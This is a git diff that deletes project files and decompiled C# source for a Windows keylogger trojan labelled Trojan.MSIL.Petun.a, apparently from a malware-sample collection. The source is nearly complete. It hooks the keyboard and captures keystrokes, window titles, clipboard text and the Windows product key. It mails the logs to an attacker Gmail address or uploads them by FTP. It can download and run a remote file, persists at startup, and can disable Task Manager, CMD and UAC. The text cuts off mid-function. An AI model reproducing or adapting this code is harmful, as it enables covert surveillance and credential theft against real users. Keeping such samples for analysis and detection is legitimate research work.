a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f/Trojan.MSIL.Petun.a.csproj b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f/Trojan.MSIL.Petun.a.csproj deleted file mode 100644 index ff822d32..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f/Trojan.MSIL.Petun.a.csproj +++ /dev/null @@ -1,48 +0,0 @@ - - - - - Debug - AnyCPU - {EB437C7C-DA3B-4717-AA40-811C7F4FFF8B} - WinExe - Ugne - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f/Trojan.MSIL.Petun.a.sln b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f/Trojan.MSIL.Petun.a.sln deleted file mode 100644 index 32d619a6..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f/Trojan.MSIL.Petun.a.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Ugne", "Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f.csproj", "{EB437C7C-DA3B-4717-AA40-811C7F4FFF8B}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {EB437C7C-DA3B-4717-AA40-811C7F4FFF8B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {EB437C7C-DA3B-4717-AA40-811C7F4FFF8B}.Debug|Any CPU.Build.0 = Debug|Any CPU - {EB437C7C-DA3B-4717-AA40-811C7F4FFF8B}.Release|Any CPU.ActiveCfg = Release|Any CPU - {EB437C7C-DA3B-4717-AA40-811C7F4FFF8B}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025/AssemblyInfo.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025/Module1.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025/Module1.cs deleted file mode 100644 index bb7c71e8..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025/Module1.cs +++ /dev/null @@ -1,1204 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Module1 -// Assembly: test, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F8202A11-8FE6-4C3C-9AC3-09E5C5A6E263 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using My; -using System; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Net; -using System.Net.Mail; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -[StandardModule] -internal sealed class Module1 -{ - private static bool hvdugk = false; - private static bool cxXcZk = false; - private static bool nRgzTm = false; - private static bool Pzszer = false; - private static bool nVYsVZnx = false; - private static bool MdPTtTeY = false; - private static string WkGtEbWy = "20"; - private static string tsxUbiNa = "AaD"; - private static int cLNhK = 1; - private static string VuuWe = "iUvS"; - public static string qIiIT = "CurrentUser"; - private static string Vgmit = "Melt"; - private static string sQLop = "miWrhYmwff"; - private static string YEzzyDouC = "iexplorer.exe"; - private static string SDDate = "+SDDate+"; - private static bool TakeScrns = false; - private static string[] Message = new string[3] - { - "+MsgFalse+", - "+MsgMsg+", - "+Ico+" - }; - private static string Delay = "+DelOff+"; - private static bool FRMsg = false; - private static bool aYGuPFvKU = false; - private static string NlEPEBuNK = "http://www.exampleserver.com/directfile.exe"; - private static bool enLsVlSYr = false; - private static string FjKvMPSKi = "setup.exe"; - private static bool FwhPRlOT = true; - private static bool UVfDxb = false; - private static string MHIGLw = "nP0IfXbisuLVKRHojI5UPQ=="; - private static string YqDqnh = "ftp.exampleserver.com"; - private static string HKBaDi = "3E8nd725nZ0jRqz2Yw5L4g=="; - private static string ScLLxx = "/"; - private static string wvXFWJNm = "smtp.gmail.com"; - private static string yqmyPezn = "NiDYg+SxnCkMb0Wd2oaM7l7yWszJJUd8J0QzJ8oAotE="; - private static string BJxdmnlq = "6t92Y7rIMinibTQXuMA5ug=="; - private static string mpgGVNxf = "penerimakeylogs@gmail.com"; - private static string PnoPYkN = "587"; - private static string NHZIfPZ = "----[ "; - private static string clJEhjQ = " ]----"; - private static bool ONSDKRh; - private static bool MoTRynIyp; - private static bool fIbHewJwu = true; - private static bool izBWXgFlP = true; - private static bool KINxqycEo = true; - private static bool QEYPGUeNN = true; - private const int ywCmgnRe = 257; - private const short YJqsOquJ = 256; - private const int XzgxkoOo = 260; - private const int kgrJX = 261; - private static IntPtr KeyboardHandle = (IntPtr) 0; - private static string LastCheckedForegroundTitle = ""; - private static Module1.KeyboardHookDelegate callback = (Module1.KeyboardHookDelegate) null; - private static string UYxljdvs; - - public static string JrreRs - { - get => Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); - set - { - } - } - - public static string aeEspj - { - get => Environment.GetFolderPath(Environment.SpecialFolder.Favorites); - set - { - } - } - - public static string WSehvR - { - get => Environment.GetFolderPath(Environment.SpecialFolder.Personal); - set - { - } - } - - public static string asNgaQ - { - get => Environment.GetFolderPath(Environment.SpecialFolder.System); - set - { - } - } - - public static string tmtYlk - { - get => Environment.GetFolderPath(Environment.SpecialFolder.System).Replace("\\system32", ""); - set - { - } - } - - public static string LT - { - get => Environment.MachineName + " - " + DateTime.Now.ToString().Replace(" ", "-").Replace("/", "-").Replace(":", "."); - set - { - } - } - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CallNextHookEx( - int hHook, - int nCode, - int wParam, - Module1.zoUQQPUFx lParam); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int OcZI(int hHook); - - [DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SetWindowsHookEx( - int idHook, - Module1.KeyboardHookDelegate lpfn, - int hmod, - int dwThreadId); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetAsyncKeyState(int vKey); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetForegroundWindow(); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch); - - private static string qnLgFxtF() - { - string str; - try - { - string lpString = new string(char.MinValue, 100); - Module1.GetWindowText(Module1.GetForegroundWindow(), ref lpString, 100); - str = lpString.Substring(0, checked (Strings.InStr(lpString, "\0") - 1)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = ""; - ProjectData.ClearProjectError(); - } - return str; - } - - private static object BhCHPFkt() - { - object obj; - try - { - obj = (object) (Module1.KeyboardHandle != (IntPtr) 0); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - obj = (object) ""; - ProjectData.ClearProjectError(); - } - return obj; - } - - public static void LywqJG() - { - try - { - Module1.callback = new Module1.KeyboardHookDelegate(Module1.TgTGhECe); - Module1.KeyboardHandle = (IntPtr) Module1.SetWindowsHookEx(13, Module1.callback, (int) Process.GetCurrentProcess().MainModule.BaseAddress, 0); - int num = Module1.KeyboardHandle != (IntPtr) 0 ? 1 : 0; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static void ZpsvnMbU() - { - try - { - if (!Conversions.ToBoolean(Module1.BhCHPFkt()) || Module1.OcZI((int) Module1.KeyboardHandle) == 0) - return; - Module1.KeyboardHandle = (IntPtr) 0; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static string JZcfXvLE( - ref string strSource, - ref string strStart, - ref string strEnd, - ref int startPos = 0) - { - int length = strStart.Length; - string str = string.Empty; - int num1 = strSource.IndexOf(strStart, startPos); - int num2 = strSource.IndexOf(strEnd, checked (num1 + length)); - if (num1 != -1 && num2 != -1) - str = strSource.Substring(checked (num1 + length), checked (num2 - num1 + length)); - return str; - } - - public static int TgTGhECe(int Code, int wParam, ref Module1.zoUQQPUFx lParam) - { - int num; - try - { - object obj = (object) Module1.qnLgFxtF(); - if (Operators.ConditionalCompareObjectNotEqual(obj, (object) Module1.LastCheckedForegroundTitle, false)) - { - Module1.LastCheckedForegroundTitle = Conversions.ToString(obj); - Module1.UYxljdvs = Conversions.ToString(Operators.ConcatenateObject((object) Module1.UYxljdvs, Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("\r\n" + Module1.NHZIfPZ), obj), (object) " - "), (object) DateAndTime.Now.ToString()), (object) Module1.clJEhjQ), (object) "\r\n"))); - } - string Left = ""; - if (wParam == 256 | wParam == 260) - { - if (Code >= 0 && MyProject.Computer.Keyboard.CtrlKeyDown & MyProject.Computer.Keyboard.AltKeyDown & lParam.vkCode == 83) - { - num = 1; - goto label_130; - } - else - { - switch (lParam.vkCode) - { - case 8: - if (Module1.UYxljdvs.EndsWith(Module1.clJEhjQ + "\r\n") | !Module1.izBWXgFlP) - { - Left = "[BS]"; - break; - } - Module1.UYxljdvs = Module1.UYxljdvs.Remove(checked (Module1.UYxljdvs.ToString().Length - 1)); - Left = ""; - break; - case 9: - Left = "\t"; - break; - case 13: - Left = "\r\n"; - break; - case 20: - if (Module1.fIbHewJwu) - { - Module1.MoTRynIyp = !MyProject.Computer.Keyboard.CapsLock; - break; - } - Left = !MyProject.Computer.Keyboard.CapsLock ? "[cl]" : "[/cl]"; - break; - case 27: - Left = " [esc] "; - break; - case 32: - Left = " "; - break; - case 37: - Left = "[<]"; - break; - case 38: - Left = "[^]"; - break; - case 39: - Left = "[>]"; - break; - case 40: - Left = "[V]"; - break; - case 46: - Left = " [dlt] "; - break; - case 48: - case 49: - case 50: - case 51: - case 52: - case 53: - case 54: - case 55: - case 56: - case 57: - if (Module1.ONSDKRh) - { - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - if (Operators.CompareString(Left, "1", false) == 0) - { - Left = "!"; - break; - } - if (Operators.CompareString(Left, "2", false) == 0) - { - Left = "@"; - break; - } - if (Operators.CompareString(Left, "3", false) == 0) - { - Left = "#"; - break; - } - if (Operators.CompareString(Left, "4", false) == 0) - { - Left = "$"; - break; - } - if (Operators.CompareString(Left, "5", false) == 0) - { - Left = "%"; - break; - } - if (Operators.CompareString(Left, "6", false) == 0) - { - Left = "^"; - break; - } - if (Operators.CompareString(Left, "7", false) == 0) - { - Left = "&"; - break; - } - if (Operators.CompareString(Left, "8", false) == 0) - { - Left = "*"; - break; - } - if (Operators.CompareString(Left, "9", false) == 0) - { - Left = "("; - break; - } - if (Operators.CompareString(Left, "0", false) == 0) - { - Left = ")"; - break; - } - break; - } - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - break; - case 65: - case 66: - case 67: - case 68: - case 69: - case 70: - case 71: - case 72: - case 73: - case 74: - case 75: - case 76: - case 77: - case 78: - case 79: - case 80: - case 81: - case 82: - case 83: - case 84: - case 85: - case 86: - case 87: - case 88: - case 89: - case 90: - Left = !(Module1.ONSDKRh | Module1.MoTRynIyp) ? Conversions.ToString(Strings.ChrW(checked (lParam.vkCode + 32))) : Conversions.ToString(Strings.ChrW(checked (lParam.vkCode + 32))).ToUpper(); - break; - case 96: - case 97: - case 98: - case 99: - case 100: - case 101: - case 102: - case 103: - case 104: - case 105: - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - if (Operators.CompareString(Left, "a", false) == 0) - Left = Conversions.ToString(1); - if (Operators.CompareString(Left, "b", false) == 0) - Left = Conversions.ToString(2); - if (Operators.CompareString(Left, "c", false) == 0) - Left = Conversions.ToString(3); - if (Operators.CompareString(Left, "d", false) == 0) - Left = Conversions.ToString(4); - if (Operators.CompareString(Left, "e", false) == 0) - Left = Conversions.ToString(5); - if (Operators.CompareString(Left, "f", false) == 0) - Left = Conversions.ToString(6); - if (Operators.CompareString(Left, "g", false) == 0) - Left = Conversions.ToString(7); - if (Operators.CompareString(Left, "h", false) == 0) - Left = Conversions.ToString(8); - if (Operators.CompareString(Left, "i", false) == 0) - Left = Conversions.ToString(9); - if (Operators.CompareString(Left, "`", false) == 0) - { - Left = Conversions.ToString(0); - break; - } - break; - case 109: - case 189: - Left = !Module1.ONSDKRh ? "-" : "_"; - break; - case 110: - case 190: - Left = Module1.ONSDKRh ? ">" : "."; - break; - case 112: - case 113: - case 114: - case 115: - case 116: - case 117: - case 118: - case 119: - case 120: - case 121: - case 122: - case 123: - case 124: - case 125: - case 126: - case (int) sbyte.MaxValue: - case 128: - case 129: - case 130: - case 131: - case 132: - case 133: - case 134: - case 135: - Left = "[F" + Conversions.ToString(checked (lParam.vkCode - 111)) + "]"; - break; - case 160: - case 161: - if (!Module1.fIbHewJwu) - { - Left = " [ONSDKRh] "; - break; - } - Module1.ONSDKRh = true; - break; - case 162: - case 163: - Left = " [ctrl] "; - break; - case 164: - Left = " [alt] "; - break; - case 165: - Left = " [ralt] "; - break; - default: - Left = Conversions.ToString(lParam.vkCode); - if (Module1.ONSDKRh) - { - if (Operators.CompareString(Left, "192", false) == 0) - Left = "~"; - if (Operators.CompareString(Left, "219", false) == 0) - Left = "{"; - if (Operators.CompareString(Left, "221", false) == 0) - Left = "}"; - if (Operators.CompareString(Left, "220", false) == 0) - Left = "|"; - if (Operators.CompareString(Left, "222", false) == 0) - Left = "\""; - if (Operators.CompareString(Left, "186", false) == 0) - Left = ":"; - if (Operators.CompareString(Left, "188", false) == 0) - Left = "<"; - if (Operators.CompareString(Left, "191", false) == 0) - Left = "?"; - if (Operators.CompareString(Left, "187", false) == 0) - Left = "+"; - } - else if (!Module1.ONSDKRh) - { - if (Operators.CompareString(Left, "192", false) == 0) - Left = "`"; - if (Operators.CompareString(Left, "219", false) == 0) - Left = "["; - if (Operators.CompareString(Left, "221", false) == 0) - Left = "]"; - if (Operators.CompareString(Left, "220", false) == 0) - Left = "\\"; - if (Operators.CompareString(Left, "222", false) == 0) - Left = "'"; - if (Operators.CompareString(Left, "186", false) == 0) - Left = ";"; - if (Operators.CompareString(Left, "188", false) == 0) - Left = ","; - if (Operators.CompareString(Left, "191", false) == 0) - Left = "/"; - if (Operators.CompareString(Left, "187", false) == 0) - Left = "="; - } - if (Operators.CompareString(Left, "107", false) == 0) - Left = "+"; - if (Operators.CompareString(Left, "107", false) == 0) - Left = "*"; - if (Operators.CompareString(Left, "111", false) == 0) - Left = "/"; - if (Operators.CompareString(Left, "44", false) == 0) - { - Left = " [SS] "; - break; - } - break; - } - } - } - else if (wParam == 257 | wParam == 261) - { - switch (lParam.vkCode) - { - case 160: - case 161: - if (!Module1.fIbHewJwu) - Left = "[/ONSDKRh]"; - Module1.ONSDKRh = false; - break; - case 162: - case 163: - Left = "[/ctrl]"; - break; - case 164: - Left = "[/lalt]"; - break; - case 165: - Left = "[/ralt]"; - break; - } - } - Module1.UYxljdvs += Left; - if (Operators.CompareString(Left, "", false) == 0) - ; - num = Module1.CallNextHookEx((int) Module1.KeyboardHandle, Code, wParam, lParam); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - num = Conversions.ToInteger(""); - ProjectData.ClearProjectError(); - } -label_130: - return num; - } - - [STAThread] - public static void Main() - { - if (!Module1.SDDate.Contains("SDDate+") && DateTime.Compare(DateAndTime.Today.Date, Conversions.ToDate(Module1.SDDate)) == 0) - Module1.DDppRamOi(); - if (!Module1.Delay.Contains("DelOff+")) - Module1.NfPl(Conversions.ToInteger(Module1.Delay)); - string tsxUbiNa = Module1.tsxUbiNa; - Module1.tsxUbiNa = Operators.CompareString(tsxUbiNa, "AaD", false) != 0 ? (Operators.CompareString(tsxUbiNa, "FaF", false) != 0 ? (Operators.CompareString(tsxUbiNa, "MaD", false) != 0 ? (Operators.CompareString(tsxUbiNa, "SaF", false) != 0 ? (Operators.CompareString(tsxUbiNa, "WaF", false) != 0 ? Module1.tsxUbiNa : Module1.tmtYlk) : Module1.asNgaQ) : Module1.WSehvR) : Module1.aeEspj) : Module1.JrreRs; - Module1.yqmyPezn = Module1.TripleDESDecode(Module1.yqmyPezn, "System.Net"); - Module1.BJxdmnlq = Module1.TripleDESDecode(Module1.BJxdmnlq, "System.Net"); - Module1.MHIGLw = Module1.TripleDESDecode(Module1.MHIGLw, "System.Net"); - Module1.HKBaDi = Module1.TripleDESDecode(Module1.HKBaDi, "System.Net"); - Module1.YEzzyDouC = "\\" + Module1.YEzzyDouC; - if (Operators.CompareString(Application.StartupPath, Module1.tsxUbiNa, false) != 0) - { - if (!Module1.Message[0].Contains("MsgFalse+")) - { - MessageBoxIcon messageBoxIcon = new MessageBoxIcon(); - MessageBoxIcon integer = (MessageBoxIcon) Conversions.ToInteger(Module1.Message[2]); - int num = (int) MessageBox.Show(Module1.Message[1], Module1.Message[0], MessageBoxButtons.OK, integer); - } - if (System.IO.File.Exists(Module1.tsxUbiNa + Module1.YEzzyDouC)) - ProjectData.EndApp(); - if (Module1.FRMsg) - { - string str1; - if (Module1.FwhPRlOT) - { - ref string local1 = ref Module1.wvXFWJNm; - ref string local2 = ref Module1.yqmyPezn; - ref string local3 = ref Module1.BJxdmnlq; - ref string local4 = ref Module1.mpgGVNxf; - string str2 = "[First Run] Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str2; - str1 = "Hello, this is an email letting you know that your keylogger has been freshly installed on the computer in the title. Thank you."; - ref string local6 = ref str1; - int integer = Conversions.ToInteger(Module1.PnoPYkN); - ref int local7 = ref integer; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7); - Module1.PnoPYkN = Conversions.ToString(integer); - } - if (Module1.UVfDxb) - { - ref string local8 = ref Module1.YqDqnh; - ref string local9 = ref Module1.ScLLxx; - ref string local10 = ref Module1.MHIGLw; - ref string local11 = ref Module1.HKBaDi; - str1 = "Hello, this is a message letting you know that you keylogger has been installed on " + Environment.MachineName + "."; - ref string local12 = ref str1; - Module1.UpFTP(ref local8, ref local9, ref local10, ref local11, ref local12); - } - } - if (Module1.aYGuPFvKU) - { - if (System.IO.File.Exists(Path.GetTempPath() + Module1.FjKvMPSKi)) - System.IO.File.Delete(Path.GetTempPath() + Module1.FjKvMPSKi); - MyProject.Computer.Network.DownloadFile(Module1.NlEPEBuNK, Path.GetTempPath() + Module1.FjKvMPSKi); - if (System.IO.File.Exists(Path.GetTempPath() + Module1.FjKvMPSKi)) - { - if (Module1.enLsVlSYr) - Process.Start(Path.GetTempPath() + Module1.FjKvMPSKi, Conversions.ToString(new ProcessStartInfo().WindowStyle == ProcessWindowStyle.Normal)); - else - Process.Start(Path.GetTempPath() + Module1.FjKvMPSKi); - } - } - if (Module1.hvdugk) - { - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 8", AppWinStyle.Hide); - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 1", AppWinStyle.Hide); - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 2", AppWinStyle.Hide); - } - if (Module1.cLNhK == 2) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System ", "DisableTaskMgr", (object) "1"); - if (Module1.nRgzTm) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", "NoRun", (object) "1"); - if (Module1.Pzszer) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", "NoViewContextMenu", (object) "1"); - if (Module1.nVYsVZnx) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\System", "DisableCMD", (object) "2"); - if (Module1.MdPTtTeY) - Interaction.Shell("C:\\Windows\\System32\\nVYsVZnx.exe /k %windir%\\System32\\reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f", AppWinStyle.Hide); - if (Module1.cxXcZk) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\System", "DisableCMD", (object) "2"); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, Module1.tsxUbiNa + Module1.YEzzyDouC); - Process.Start(Module1.tsxUbiNa + Module1.YEzzyDouC); - if (Operators.CompareString(Module1.Vgmit, "Melt", false) == 0) - Module1.DDppRamOi(); - else if (Operators.CompareString(Module1.Vgmit, "Hide", false) == 0) - new FileInfo(Application.ExecutablePath).Attributes = FileAttributes.Hidden; - ProjectData.EndApp(); - } - if (new hWCLMK(Module1.sQLop).IsRunning()) - Environment.Exit(0); - try - { - if (Operators.CompareString(Module1.qIiIT, "CurrentUser", false) == 0 | Operators.CompareString(Module1.qIiIT, "LocalMachine", false) == 0) - ROS.set_Runonstartup((string) null, ROS.StartupCheckCriteria.Either, true); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - int num = (int) Interaction.MsgBox((object) ex.Message); - ProjectData.ClearProjectError(); - } - if (Module1.VuuWe.Length != 4) - { - string[] strArray = Strings.Split(Module1.VuuWe, ","); - int index = 0; - while (index < strArray.Length) - { - string str = strArray[index]; - System.IO.File.AppendAllText(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\drivers\\etc\\hosts", "\r\n127.0.0.1 " + str); - checked { ++index; } - } - } - Module1.LywqJG(); - switch (Module1.cLNhK) - { - case 3: - new Thread(new ThreadStart(Module1.TtsJyCtSv)).Start(); - break; - case 4: - qTmS.Running = true; - break; - } - while (true) - { - try - { - do - { - Module1.WaitEx(); - } - while (Operators.CompareString(Module1.UYxljdvs, "", false) == 0); - string str = ""; - if (Module1.KINxqycEo) - str = str + "System Information - \r\n" + Module1.LZhi() + "\r\n"; - if (Module1.QEYPGUeNN) - str = str + "Clipboard: " + Clipboard.GetText(); - Module1.UYxljdvs = str + Module1.UYxljdvs; - Module1.LastCheckedForegroundTitle = ""; - new Thread(new ThreadStart(Module1.nDYZis)).Start(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - - public static void nDYZis() - { - string uyxljdvs = Module1.UYxljdvs; - Module1.UYxljdvs = ""; - if (Module1.FwhPRlOT) - { - ref string local1 = ref Module1.wvXFWJNm; - ref string local2 = ref Module1.yqmyPezn; - ref string local3 = ref Module1.BJxdmnlq; - ref string local4 = ref Module1.mpgGVNxf; - string str = "Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str; - ref string local6 = ref uyxljdvs; - int integer = Conversions.ToInteger(Module1.PnoPYkN); - ref int local7 = ref integer; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7); - Module1.PnoPYkN = Conversions.ToString(integer); - } - if (!Module1.UVfDxb) - return; - Module1.UpFTP(ref Module1.YqDqnh, ref Module1.ScLLxx, ref Module1.MHIGLw, ref Module1.HKBaDi, ref uyxljdvs); - } - - public static void WaitEx() - { - Thread thread = new Thread(new ThreadStart(Module1.WT)); - thread.Start(); - thread.Join(); - } - - public static void WT() => Thread.Sleep(checked ((int) Math.Round(unchecked (Conversions.ToDouble(Module1.WkGtEbWy) * 60.0 * 1000.0)))); - - private static void NfPl(int interval) - { - Stopwatch stopwatch = new Stopwatch(); - stopwatch.Start(); - while (stopwatch.ElapsedMilliseconds < (long) interval) - Application.DoEvents(); - stopwatch.Stop(); - } - - private static string GetWindowsKey() - { - object Instance = (object) (NewLateBinding.LateGet((object) Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", false), (System.Type) null, "GetValue", new object[1] - { - (object) "DigitalProductId" - }, (string[]) null, (System.Type[]) null, (bool[]) null) as byte[]); - if (Instance == null) - return "value was nothing!"; - char[] chArray = new char[29]; - int index = 28; - do - { - if (checked (index + 1) % 6 == 0) - { - chArray[index] = '-'; - } - else - { - object Operand = (object) 0; - int num = 66; - do - { - object Left = Operators.OrObject(Operators.LeftShiftObject(Operand, (object) 8), NewLateBinding.LateIndexGet(Instance, new object[1] - { - (object) num - }, (string[]) null)); - NewLateBinding.LateIndexSet(Instance, new object[2] - { - (object) num, - (object) Conversions.ToByte(Operators.IntDivideObject(Left, (object) 24)) - }, (string[]) null); - Operand = Operators.ModObject(Left, (object) 24); - chArray[index] = "BCDFGHJKMPQRTVWXY2346789"[Conversions.ToInteger(Operand)]; - checked { num += -1; } - } - while (num >= 52); - } - checked { index += -1; } - } - while (index >= 0); - return new string(chArray); - } - - public static string WdvE(object Bytes) - { - string str; - try - { - if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1073741824, false)) - { - str = Strings.Format(Operators.DivideObject(Operators.DivideObject(Operators.DivideObject(Bytes, (object) 1024), (object) 1024), (object) 1024), "#0.00") + " GB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1048576, false)) - { - str = Strings.Format(Operators.DivideObject(Operators.DivideObject(Bytes, (object) 1024), (object) 1024), "#0.00") + " MB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1024, false)) - { - str = Strings.Format(Operators.DivideObject(Bytes, (object) 1024), "#0.00") + " KB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectLess(Bytes, (object) 1024, false)) - { - str = Conversions.ToString(Operators.ConcatenateObject(Conversion.Fix(RuntimeHelpers.GetObjectValue(Bytes)), (object) " Bytes")); - goto label_10; - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = "0 Bytes"; - ProjectData.ClearProjectError(); - goto label_10; - } - return "0 Bytes"; -label_10: - return str; - } - - public static string LZhi() => "Machine Name: " + Environment.MachineName + "\r\n" + "Current User: " + Environment.UserName + "\r\n" + "Operating System: " + Module1.GenerateOperatingSystem() + "\r\n" + "Windows Key: " + Module1.GetWindowsKey() + "\r\n" + "Available Physical Memory: " + Module1.WdvE((object) MyProject.Computer.Info.AvailablePhysicalMemory.ToString()) + "\r\n" + "Available Virtual Memory: " + Module1.WdvE((object) MyProject.Computer.Info.AvailableVirtualMemory.ToString()) + "\r\n" + "System Directory: " + Environment.SystemDirectory + "\r\n" + "Local Time: " + DateAndTime.Now.ToString(); - - public static string GenerateOperatingSystem() - { - OperatingSystem osVersion = Environment.OSVersion; - string operatingSystem = "UN"; - switch (osVersion.Platform) - { - case PlatformID.Win32Windows: - switch (osVersion.Version.Minor) - { - case 0: - operatingSystem = "95"; - break; - case 10: - operatingSystem = "98"; - break; - case 90: - operatingSystem = "ME"; - break; - } - break; - case PlatformID.Win32NT: - switch (osVersion.Version.Major) - { - case 3: - operatingSystem = "NT"; - break; - case 4: - operatingSystem = "NT"; - break; - case 5: - if (osVersion.Version.Minor == 0) - { - operatingSystem = "2K"; - break; - } - if (osVersion.Version.Minor == 1) - { - operatingSystem = "XP"; - break; - } - if (osVersion.Version.Minor == 2) - { - operatingSystem = "2K3"; - break; - } - break; - case 6: - operatingSystem = "VS"; - if (osVersion.Version.Minor == 0) - { - operatingSystem = "VS"; - break; - } - if (osVersion.Version.Minor == 1) - { - operatingSystem = "W7"; - break; - } - break; - } - break; - } - return operatingSystem; - } - - public static void TtsJyCtSv() - { -label_0: - 